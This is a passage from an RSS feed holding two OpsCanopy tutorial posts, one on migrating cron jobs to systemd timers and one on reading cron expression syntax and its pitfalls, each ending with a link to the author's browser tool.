&lt;span class="py"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;oneshot&lt;/span&gt;
&lt;span class="py"&gt;ExecStart&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/local/bin/backup.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The timer, &lt;code&gt;backup.timer&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[Unit]&lt;/span&gt;
&lt;span class="py"&gt;Description&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Run nightly backup at 02:30&lt;/span&gt;

&lt;span class="nn"&gt;[Timer]&lt;/span&gt;
&lt;span class="py"&gt;OnCalendar&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;*-*-* 02:30:00&lt;/span&gt;
&lt;span class="py"&gt;Persistent&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;

&lt;span class="nn"&gt;[Install]&lt;/span&gt;
&lt;span class="py"&gt;WantedBy&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;timers.target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Type=oneshot&lt;/code&gt; tells systemd the job is expected to run, finish, and exit — the right type for almost every cron-style task. The timer’s &lt;code&gt;[Install]&lt;/code&gt; section is what makes &lt;code&gt;systemctl enable&lt;/code&gt; work; without &lt;code&gt;WantedBy=timers.target&lt;/code&gt;, the timer won’t arm at boot.&lt;/p&gt;

&lt;p&gt;Enable and start it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl daemon-reload
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; &lt;span class="nt"&gt;--now&lt;/span&gt; backup.timer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note you enable the &lt;strong&gt;timer&lt;/strong&gt;, not the service. The timer pulls in the service when it fires.&lt;/p&gt;

&lt;h2&gt;
  
  
  Translating the schedule: OnCalendar
&lt;/h2&gt;

&lt;p&gt;The hardest part of the migration is the schedule field, because systemd uses &lt;code&gt;OnCalendar=&lt;/code&gt; rather than the five cron fields. The format is &lt;code&gt;DOW YYYY-MM-DD HH:MM:SS&lt;/code&gt;, and it’s genuinely more readable once you learn it. Some common mappings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# cron                        # OnCalendar
*/15 * * * *                  *-*-* *:0/15:00      (every 15 minutes)
0 * * * *                     *-*-* *:00:00        (hourly, on the hour)
30 2 * * *                    *-*-* 02:30:00       (daily at 02:30)
0 4 * * 1                     Mon *-*-* 04:00:00   (Mondays at 04:00)
0 0 1 * *                     *-*-01 00:00:00      (1st of the month)
0 9 * * 1-5                   Mon..Fri *-*-* 09:00:00  (weekdays at 09:00)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are also convenient shorthands — &lt;code&gt;hourly&lt;/code&gt;, &lt;code&gt;daily&lt;/code&gt;, &lt;code&gt;weekly&lt;/code&gt;, &lt;code&gt;monthly&lt;/code&gt; — so &lt;code&gt;OnCalendar=daily&lt;/code&gt; is equivalent to midnight every day. The single most useful command during migration is &lt;code&gt;systemd-analyze calendar&lt;/code&gt;, which parses an expression and shows you the next firing times:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;systemd-analyze calendar &lt;span class="nt"&gt;--iterations&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3 &lt;span class="s1"&gt;'Mon..Fri *-*-* 09:00:00'&lt;/span&gt;
  Original form: Mon..Fri &lt;span class="k"&gt;*&lt;/span&gt;-&lt;span class="k"&gt;*&lt;/span&gt;-&lt;span class="k"&gt;*&lt;/span&gt; 09:00:00
Normalized form: Mon..Fri &lt;span class="k"&gt;*&lt;/span&gt;-&lt;span class="k"&gt;*&lt;/span&gt;-&lt;span class="k"&gt;*&lt;/span&gt; 09:00:00
    Next elapse: Mon 2026-06-08 09:00:00 UTC
       From now: 4h 12min left
       &lt;span class="o"&gt;(&lt;/span&gt;next 3&lt;span class="o"&gt;)&lt;/span&gt;  Tue 2026-06-09 09:00:00 UTC
                 Wed 2026-06-10 09:00:00 UTC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If that output matches what your cron line did, the schedule is correct. If it doesn’t, you’ve caught the bug before it shipped.&lt;/p&gt;

&lt;h2&gt;
  
  
  The gotchas that actually bite
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Timezone.&lt;/strong&gt; Cron uses the system local time. systemd timers do too by default, but &lt;code&gt;OnCalendar&lt;/code&gt; is evaluated in the timer’s timezone, which can surprise you on servers set to UTC. Pin it explicitly with &lt;code&gt;OnCalendar=Mon *-*-* 04:00:00 America/New_York&lt;/code&gt; if local time matters, and remember that daylight-saving transitions can skip or double a run.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thundering herd.&lt;/strong&gt; Cron fires &lt;code&gt;0 * * * *&lt;/code&gt; jobs at exactly :00 across your whole fleet. Add &lt;code&gt;RandomizedDelaySec=&lt;/code&gt; to spread the load:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[Timer]&lt;/span&gt;
&lt;span class="py"&gt;OnCalendar&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;hourly&lt;/span&gt;
&lt;span class="py"&gt;RandomizedDelaySec&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;300&lt;/span&gt;
&lt;span class="py"&gt;Persistent&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That jitters each run by up to five minutes — invaluable when a hundred hosts hit the same API.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Environment and working directory.&lt;/strong&gt; Cron’s sparse environment trips people up; so does assuming a working directory. Be explicit in the service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[Service]&lt;/span&gt;
&lt;span class="py"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;oneshot&lt;/span&gt;
&lt;span class="py"&gt;WorkingDirectory&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/opt/app&lt;/span&gt;
&lt;span class="py"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;PATH=/usr/local/bin:/usr/bin:/bin&lt;/span&gt;
&lt;span class="py"&gt;EnvironmentFile&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;-/etc/app/env&lt;/span&gt;
&lt;span class="py"&gt;ExecStart&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/opt/app/run.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The leading &lt;code&gt;-&lt;/code&gt; on &lt;code&gt;EnvironmentFile&lt;/code&gt; means “don’t fail if the file is missing,” mirroring cron’s forgiving behavior.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Per-user jobs.&lt;/strong&gt; A user crontab maps to a user unit. Drop the files in &lt;code&gt;~/.config/systemd/user/&lt;/code&gt;, enable with &lt;code&gt;systemctl --user enable --now myjob.timer&lt;/code&gt;, and run &lt;code&gt;loginctl enable-linger $USER&lt;/code&gt; so the timer survives logout.&lt;/p&gt;

&lt;h2&gt;
  
  
  Verifying the migration
&lt;/h2&gt;

&lt;p&gt;After enabling, confirm the timer is armed and inspect its history:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;systemctl list-timers &lt;span class="nt"&gt;--all&lt;/span&gt;          &lt;span class="c"&gt;# see next/last run for every timer&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; backup.service &lt;span class="nt"&gt;--since&lt;/span&gt; today   &lt;span class="c"&gt;# read the job's output&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start backup.service  &lt;span class="c"&gt;# trigger a manual run to test now&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;systemctl start backup.service&lt;/code&gt; runs the job immediately, independent of the schedule — the cleanest way to confirm the service half works before trusting the timer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Don’t hand-translate every field
&lt;/h2&gt;

&lt;p&gt;The mechanical part — turning five cron fields into an &lt;code&gt;OnCalendar&lt;/code&gt; line and scaffolding the &lt;code&gt;.timer&lt;/code&gt;/&lt;code&gt;.service&lt;/code&gt; pair — is exactly the kind of thing that’s easy to get subtly wrong by hand, especially with step values, ranges, and day-of-week edge cases. Our &lt;strong&gt;Cron to systemd Converter&lt;/strong&gt; does it in the browser: paste a crontab line, get a ready-to-edit timer and service unit with the correct &lt;code&gt;OnCalendar&lt;/code&gt; expression and migration notes, with nothing uploaded anywhere.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/cron-to-systemd"&gt;Convert your crontab to systemd timers →&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/cron-to-systemd" rel="noopener noreferrer"&gt;Cron → systemd Converter&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>devops</category>
      <category>distributedsystems</category>
      <category>tooling</category>
    </item>
    <item>
      <title>Reading cron expressions</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sat, 13 Jun 2026 07:24:58 +0000</pubDate>
      <link>https://dev.to/opscanopy/reading-cron-expressions-3ncg</link>
      <guid>https://dev.to/opscanopy/reading-cron-expressions-3ncg</guid>
      <description>&lt;p&gt;Almost everyone who runs a backend has stared at a line like &lt;code&gt;*/15 9-17 * * 1-5&lt;/code&gt; and half-remembered what it does. Cron’s syntax is compact, which is its great virtue and its great trap: five tiny fields encode a recurring schedule, and a single misplaced character can turn “every weekday afternoon” into “every minute, forever.” This guide reads a cron expression the way the daemon does — field by field — so the next time you meet one you can decode it on sight.&lt;/p&gt;

&lt;h2&gt;
  
  
  The five fields
&lt;/h2&gt;

&lt;p&gt;A standard cron expression is five whitespace-separated fields, always in this order:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌───────────── minute        (0–59)
│ ┌─────────── hour          (0–23)
│ │ ┌───────── day of month  (1–31)
│ │ │ ┌─────── month         (1–12 or JAN–DEC)
│ │ │ │ ┌───── day of week   (0–6, Sun=0; 7 also = Sun)
│ │ │ │ │
* * * * *
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The job runs at every minute where &lt;strong&gt;all&lt;/strong&gt; the time fields match the current moment. A field of &lt;code&gt;*&lt;/code&gt; means “every value,” so the canonical &lt;code&gt;* * * * *&lt;/code&gt; fires once a minute. Read left to right and the most common schedules fall out quickly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 * * * *      at minute 0 of every hour          → hourly, on the hour
30 2 * * *      at 02:30 every day                 → a nightly batch job
0 0 1 * *      at 00:00 on day 1 of every month    → monthly rollover
0 9 * * 1      at 09:00 every Monday               → start-of-week report
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that seconds are &lt;strong&gt;not&lt;/strong&gt; part of standard Unix cron. Some implementations (Quartz, many Go and Node libraries, Kubernetes is the notable exception that stays at five) prepend a sixth seconds field. If a six-field expression behaves oddly in plain &lt;code&gt;crontab&lt;/code&gt;, that extra field is usually why.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ranges, steps and lists
&lt;/h2&gt;

&lt;p&gt;Three operators do most of the heavy lifting, and they compose within a single field:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Range&lt;/strong&gt; &lt;code&gt;a-b&lt;/code&gt; — an inclusive span. &lt;code&gt;9-17&lt;/code&gt; in the hour field means hours 9 through 17.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step&lt;/strong&gt; &lt;code&gt;*/n&lt;/code&gt; or &lt;code&gt;a-b/n&lt;/code&gt; — every nth value. &lt;code&gt;*/15&lt;/code&gt; in the minute field means 0, 15, 30, 45. &lt;code&gt;9-17/2&lt;/code&gt; means 9, 11, 13, 15, 17.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;List&lt;/strong&gt; &lt;code&gt;a,b,c&lt;/code&gt; — an explicit set. &lt;code&gt;1,15&lt;/code&gt; in the day-of-month field means the 1st and the 15th.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Put together, the expression from the opening paragraph decodes cleanly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*/15 9-17 * * 1-5
 │    │   │ │  └── Monday through Friday
 │    │   │ └───── every month
 │    │   └─────── every day of the month
 │    └─────────── hours 9 through 17 (9 AM–5 PM)
 └──────────────── every 15th minute (0, 15, 30, 45)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So: &lt;strong&gt;every 15 minutes, between 9 AM and 5 PM, Monday through Friday.&lt;/strong&gt; A reasonable cadence for a sync job that should rest overnight and on weekends. The danger is how little this differs from &lt;code&gt;* 9-17 * * 1-5&lt;/code&gt;, which drops the step and fires &lt;em&gt;every minute&lt;/em&gt; in that window — 60× the load. The character that separates a tidy schedule from an accidental denial-of-service is two characters wide.&lt;/p&gt;

&lt;h2&gt;
  
  
  The day-of-month / day-of-week trap
&lt;/h2&gt;

&lt;p&gt;The single most surprising rule in cron is how the two “day” fields combine. Intuition says they’re ANDed like every other pair of fields. They are not. When &lt;strong&gt;both&lt;/strong&gt; day-of-month and day-of-week are restricted (neither is &lt;code&gt;*&lt;/code&gt;), cron treats them as an &lt;strong&gt;OR&lt;/strong&gt;: the job runs if &lt;em&gt;either&lt;/em&gt; matches.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 0 1,15 * 5    midnight on the 1st, on the 15th, OR on any Friday
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That expression does not mean “the 1st or 15th, but only if it’s a Friday.” It means three separate triggers. If you genuinely need an AND — say, “the first Monday of the month” — vanilla cron can’t express it directly; you guard it in the job itself (&lt;code&gt;[ "$(date +\%d)" -le 07 ] || exit 0&lt;/code&gt;) or reach for an extension like Quartz’s &lt;code&gt;#&lt;/code&gt; operator (&lt;code&gt;MON#1&lt;/code&gt;). This OR rule is responsible for a large share of “why did this fire twice?” incidents.&lt;/p&gt;

&lt;h2&gt;
  
  
  The @macros
&lt;/h2&gt;

&lt;p&gt;Most crons accept a handful of named shortcuts that stand in for an entire five-field expression. They read better and remove a class of typos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@hourly    →  0 * * * *
@daily     →  0 0 * * *   (alias: @midnight)
@weekly    →  0 0 * * 0
@monthly   →  0 0 1 * *
@yearly    →  0 0 1 1 *   (alias: @annually)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There’s also &lt;code&gt;@reboot&lt;/code&gt;, which is special: it runs once when cron starts up, not on any clock schedule. Useful for warming a cache after a restart, useless for anything time-of-day related — and a frequent source of “my daily job never ran” reports when someone reaches for it by mistake.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reading the gotchas
&lt;/h2&gt;

&lt;p&gt;A few more rules separate people who &lt;em&gt;think&lt;/em&gt; they read cron from people who actually do:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Time zones.&lt;/strong&gt; Classic cron runs in the system local time zone, so daylight-saving transitions can skip or repeat a job. A 02:30 job runs zero times on the spring-forward night and twice on fall-back. Systems that matter increasingly pin schedules to UTC for exactly this reason.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Day-of-week numbering.&lt;/strong&gt; Sunday is &lt;code&gt;0&lt;/code&gt;, and &lt;code&gt;7&lt;/code&gt; is also accepted as Sunday on most implementations — but not all. Prefer the three-letter names (&lt;code&gt;SUN&lt;/code&gt;, &lt;code&gt;MON&lt;/code&gt;, …) when you can; they’re unambiguous.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;*/n&lt;/code&gt; doesn’t wrap.&lt;/strong&gt; &lt;code&gt;*/40&lt;/code&gt; in the minute field fires at minute 0 and 40, then jumps to 0 of the next hour. It is &lt;strong&gt;not&lt;/strong&gt; “every 40 minutes” — the count restarts each hour, so the real gap between the :40 and the next :00 is only 20 minutes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of these are exotic. They’re the everyday edges that make a schedule fire at a time you didn’t intend, and none of them are visible from staring at the five fields alone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Verify before you ship
&lt;/h2&gt;

&lt;p&gt;The honest way to read a cron expression is to not trust your reading of it. Decode it into plain English, then look at the actual timestamps it will produce over the next several runs — that’s where the &lt;code&gt;*/40&lt;/code&gt; wrap, the DST gap, and the day-field OR reveal themselves immediately.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Cron Expression Tester&lt;/strong&gt; does exactly that in your browser: paste any expression — ranges, steps, lists, &lt;code&gt;@macros&lt;/code&gt; and all — and get a plain-English description alongside the next run times, with nothing uploaded anywhere. It turns “I think this is every weekday afternoon” into “here are the next ten times it fires,” which is the only reading that counts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/cron-expression-tester"&gt;Try the Cron Expression Tester →&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/cron-expression-tester" rel="noopener noreferrer"&gt;Cron Expression Tester&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cron</category>
      <category>regex</category>
      <category>devops</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
